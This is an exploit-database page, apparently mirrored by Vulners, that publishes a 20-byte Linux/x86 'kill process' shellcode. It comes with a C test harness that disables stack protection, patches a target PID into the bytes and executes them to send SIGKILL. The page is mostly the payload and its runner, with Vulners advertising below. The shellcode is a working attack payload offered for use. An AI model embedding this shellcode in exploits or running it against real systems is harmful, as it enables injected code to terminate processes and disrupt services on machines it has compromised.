Lucene search
K

Linux/x86 - Kill Process Shellcode (20 bytes)

🗓️ 09 Jul 2018 00:00:00Reported by Nathu NandwaniType 
zdt
 zdt
🔗 0day.today👁 13 Views

Kill PID shellcode for Linux/x86 syste

Code
/*
     Exploit Title: Kill PID shellcode
     Date: 07/09/2018
     Exploit Author: Nathu Nandwani
     Platform: Linux/x86
     Size: 20 bytes
     Compile: gcc -fno-stack-protector -z execstack killproc.c -o killproc
*/
#include <string.h>
#include <stdio.h>
int main() 
{
    unsigned short pid = 2801;
     
    char shellcode[] = 
    "\x31\xc0" /* xor eax, eax */
    "\xb0\x25" /* mov al, 0x25 - SYS_KILL */
    "\x89\xc3" /* mov ebx, eax */
    "\x89\xc1" /* mov ecx, eax */
    "\x66\xbb" /* mov bx, ? */
    "\xF1\x0A" /* bx <= pid => 2801 = 0x0AF1 */
    "\xb1\x09" /* mov cl, 0x09 - SIGKILL */
    "\xcd\x80" /* int 0x80 */
    "\xb0\x01" /* mov al, 0x01 */
    "\xcd\x80"; /* int 0x80 */
 
    shellcode[10] = pid & 0xff;
    shellcode[11] = (pid >> 8) & 0xff;
 
    printf("Shellcode length: %d\n", strlen(shellcode));
    int (*ret)() = (int(*)())shellcode;
    ret();
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Jul 2018 00:00Current
0.7Low risk
Vulners AI Score0.7
13